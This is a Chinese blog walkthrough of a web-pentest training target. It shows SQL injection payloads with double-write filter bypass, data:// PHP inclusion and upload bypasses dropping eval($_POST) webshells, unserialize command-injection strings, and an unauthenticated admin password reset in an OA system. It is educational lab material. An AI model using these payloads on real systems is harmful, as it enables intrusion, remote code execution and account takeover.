这靶机是在 N 年前做 Web 渗透培训时候的考核靶机,最近又有用到,那正好水一篇。
SQL Injection
一个非常明显的 SQL Injection 场景,输入任意数字后查询即可:
经过输入尝试,可以发现如下内容:
闭合类型:单引号
闭合符号:#/%23
、-- /+
过滤字符:and、or、union、select
绕过方式:双写
注入步骤如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 判断查询列数 ?id=1' oorrder by 1 %23 # 正常 ?id=1' oorrder by 2 %23 # 正常 ?id=1' oorrder by 3 %23 # 报错 # 查看页面回显 ?id=-1' uniunionon selselectect 1,2 %23 # 1,2 均回显 # 查看所有数据库名 ?id=-1' uniunionon selselectect 1,group_concat(schema_name) from infoorrmation_schema.schemata %23 # information_schema,Flag_db,mysql,test # 查看 Flag_db 中的所有表名 ?id=-1' uniunionon selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'Flag_db' %23 # FlA9_t0b # 查看 FlA9_t0b 中的字段 ?id=-1' uniunionon selselectect 1,group_concat(columns_name) from infoorrmation_schema.columns where table_schema = 'Flag_db' aandnd table_name = 'FlA9_t0b' %23 # fLa9_col # 查看 flag ?id=-1' uniunionon selselectect 1,group_concat(fLa9_col) from Flag_db.FlA9_t0b %23 # Flag{Sql_INject_IS_funny~_~}
File_include
可以看到一个非常明显的参数名 flag,尝试使用 PHP 伪协议:
1 http://10.10.8.13:8002/index.php?file=data:,<?php phpinfo()?>
可以看到 data 协议可以使用,说明对方设置了 allow_url_include = On,直接使用 AntSword 连接:
1 http://10.10.8.13:8002/index.php?file=data:,<?php eval($_POST[1]);?>
Unserialize
一个简单的反序列化题目,重点在于 call_user_func 函数,这是一个可以用于执行命令的函数。
首先将 index 类进行序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class index { public $method ; public $args ; function __destruct ( ) { if (in_array ($this ->method, array ("ping" ))) { call_user_func (array ($this ,$this ->method), $this ->args); } } function ping ($host ) { system ("ping -c 2 $host " ); } } echo serialize (new index); ?>
根据上述代码,得出 method 必须为 ping,args 被交由 ping() 函数执行中的 system 执行,这时可以使用连接符进行命令拼接,构造如下代码:
1 O:5 :"index" :2 :{s:6 :"method" ;s:4 :"ping" ;s:4 :"args" ;s:9 :"127.0.0.1" ;}
1 O:5 :"index" :2 :{s:6 :"method" ;s:4 :"ping" ;s:4 :"args" ;s:12 :"127.0.0.1;ls" ;}
1 O:5 :"index" :2 :{s:6 :"method" ;s:4 :"ping" ;s:4 :"args" ;s:30 :"127.0.0.1;cat f1a9_is_here.txt" ;}
File_upload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
可以看出是白名单,通过各种尝试,得出特殊后缀绕过(php3、phtml…):
1 <?php echo 404;eval($_POST[1])?>
Hack a OA SYSTEM
Unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class test { public $method ; public $args ; function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function __destruct ( ) { if (in_array ($this ->method, array ("ping" ))) { call_user_func_array (array ($this , $this ->method), $this ->args); } } function ping ($host ) { system ("ping -c 2 $host " ); } function waf ($str ) { $str =str_replace (' ' ,'' ,$str ); return $str ; } function __wakeup ( ) { foreach ($this ->args as $k => $v ) { $this ->args[$k ] = $this ->waf (trim (mysql_escape_string ($v ))); } } } $a =@$_POST ['a' ];@unserialize ($a ); ?>
查看源码,发现与前面 Unserialize 的代码类似,但是存在有不同之处:
1 2 3 4 5 6 7 call_user_func_array () call_user_func ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class test { public $method ; public $args ; function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function __destruct ( ) { if (in_array ($this ->method, array ("ping" ))) { call_user_func_array (array ($this , $this ->method), $this ->args); } } function ping ($host ) { system ("ping -c 2 $host " ); } function waf ($str ) { $str =str_replace (' ' ,'' ,$str ); return $str ; } function __wakeup ( ) { foreach ($this ->args as $k => $v ) { $this ->args[$k ] = $this ->waf (trim (mysql_escape_string ($v ))); } } } echo serialize (new test ()); ?>
1 2 # echo serialize(array("127.0.0.1" ));O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:9:"127.0.0.1";}}
这时候就可以使用命令连接符进行命令拼接,但是查看源码里有个 WAF 函数,过滤了空格,无法实现返回上级,通过页面提示,flag 文件在系统根目录下:
1 a=O:4 :"test" :2 :{s:6 :"method" ;s:4 :"ping" ;s:4 :"args" ;a:1 :{i:0 ;s:23 :"127.0.0.1;cat</f1a9.txt" ;}}
DatabaseConfig.php
在 config.php 中发现了数据库连接文件:
1 2 3 4 5 6 7 8 9 <?php define ("DBHOST" ,"127.0.0.1" );define ('DBUSER' ,'root' );define ('DBPASS' ,'root' );define ('DBNAME' ,'oa' );define ('ROOTDRI' ,__DIR__ ."/../" );require (ROOTDRI.'/org/smarty/Smarty.class.php' );session_start ();?>
但是数据库连接不上,因为靶机 Docker 并未开放对应数据库端口。
File_upload(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class File { private $typelist ; private $allowexten ; private $path ; function __construct ( ) { if (!isset ($_SESSION ['username' ])){ exit ("not login" ); } $this ->typelist==array ("image/jpeg" ,"image/jpg" ,"image/png" ,"image/gif" ); $this ->notallow=array ("php" , "php5" , "php3" , "php4" , "php7" , "pht" , "phtml" , "htaccess" ,"html" , "swf" , "htm" ); $this ->path='./upload' ; } function save ( ) { $username =$_SESSION ['username' ]; $upfile =$_FILES ['pic' ]; $fileinfo =pathinfo ($upfile ["name" ]); if (in_array ($fileinfo ["extension" ],$this ->notallow)){ exit ('error' ); } $path ='./upload/' .$username ."_" .$fileinfo ["filename" ]."." .$fileinfo ["extension" ]; if (file_exists ($path )){ exit ("file already exists" ); } if (move_uploaded_file ($upfile ['tmp_name' ], $path )){ return True; }else { return False; } } } ?>
发现其过滤规则,但文件上传需要对应上传点,所以需要先注册一个用户:
1 2 3 if (!isset($_SESSION['username'])){ exit("not login"); }
但是上传时会发现怎么上传都是失败,经查看是 User.php 调用了 File.php 文件:
1 2 3 4 5 6 7 8 9 10 11 function upload ( ) { if (isset ($_SESSION ['username' ]) and $_SESSION ['username' ]==="admin" ){ include_once __DIR__ ."/File.php" ; $up =new File (); if ($up ->save ()){ $this ->tp->display ("success.tpl" ); } }else { $this ->tp->display ("error.tpl" ); } }
查看 User.php 源码发现限制了上传,因为 username 必须为 admin。
Code Audit
上传要求必须为 admin,看看能不能修改 admin 的密码:
1 2 3 4 5 6 7 8 9 10 11 function upload ( ) { if (isset ($_SESSION ['username' ]) and $_SESSION ['username' ]==="admin" ){ include_once __DIR__ ."/File.php" ; $up =new File (); if ($up ->save ()){ $this ->tp->display ("success.tpl" ); } }else { $this ->tp->display ("error.tpl" ); } }
查看 index.php 页面源码,发现有两个函数 run_c、run_a,且当 c 参数的值为空就以 User 为默认值,当 a 参数为空就以 Index 为默认值:
1 2 3 4 5 6 7 8 9 10 11 <?php include "./common/function.php" ; include "./include/config.php" ; include "./lib/base.php" ; $c =isset ($_GET ['c' ])?$_GET ['c' ]:'User' ; $a =isset ($_GET ['a' ])?$_GET ['a' ]:'Index' ; $obj =run_c ($c ); run_a ($obj ,$a ); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function run_c ($class ) { if ( !preg_match ('/^\w+$/' , $class ) or (!file_exists (ROOTDRI."/lib/" .$class .".php" )) ){ exit ('hack' ); }else { include "./lib/" .$class .".php" ; return new $class ; } } function run_a ($obj ,$action ) { if ( !preg_match ('/^\w+$/' , $action ) or !method_exists ($obj ,$action ) ){ exit ('hack' ); }else { eval ('$obj->' .$action .'();' ); } } ?>
当 C 值为空时,包含 include "./lib/".User.".php"
,进入 lib/User.php
,发现有一个更新密码的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class User extends base { ...... function updatepass ( ) { if (!empty ($_POST ['username' ]) and !empty ($_POST ['password' ])){ $username =addslashes ($_POST ['username' ]); $password =md5 ($_POST ['password' ]); $sql ="update user set password='$password ' where username='$username ' " ; if (mysql_query ($sql )){ $this ->tp->display ("success.tpl" ); } } } } ?>
发现是直接接收 username 与 password 的值,并没有进行二次校验/过滤。
构造 Payload:
1 2 3 4 5 6 7 # 两个参数 ?c=User&a=updatepass # 一个参数 ?a=updatepass # POST username=admin&password=123456
SQL Injection 万能密码
1 username=admin'-- &password=123456
SQLMap
保存上述 HTTP 请求报文,使用 SQLMap 工具跑一下:
得出管理员账号密码:admin/admin888。
暴力破解
既然存在有登录框,已知用户名是 admin,而且没有验证码和次数限制,那就直接使用 BurpSuite 进行暴力破解:
注:BurpSuite 默认的密码字典爆不出来,需要手动添加字典。
File_upload(2)
根据之前的漏洞利用,已经得出管理员账号密码为:admin/admin888。
登录查看内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class File { private $typelist ; private $allowexten ; private $path ; function __construct ( ) { if (!isset ($_SESSION ['username' ])){ exit ("not login" ); } $this ->typelist==array ("image/jpeg" ,"image/jpg" ,"image/png" ,"image/gif" ); $this ->notallow=array ("php" , "php5" , "php3" , "php4" , "php7" , "pht" , "phtml" , "htaccess" ,"html" , "swf" , "htm" ); $this ->path='./upload' ; } function save ( ) { $username =$_SESSION ['username' ]; $upfile =$_FILES ['pic' ]; $fileinfo =pathinfo ($upfile ["name" ]); if (in_array ($fileinfo ["extension" ],$this ->notallow)){ exit ('error' ); } $path ='./upload/' .$username ."_" .$fileinfo ["filename" ]."." .$fileinfo ["extension" ]; if (file_exists ($path )){ exit ("file already exists" ); } if (move_uploaded_file ($upfile ['tmp_name' ], $path )){ return True; }else { return False; } } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 # 允许上传的 MIME 类型 array("image/jpeg","image/jpg","image/png","image/gif") # 不允许上传的后缀名 array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm"); # 文件上传的保存路径为 ./upload # 存放的文件名为 $ username."_" .$fileinfo ["filename" ]."." .$fileinfo ["extension" ] admin_xxx.xxx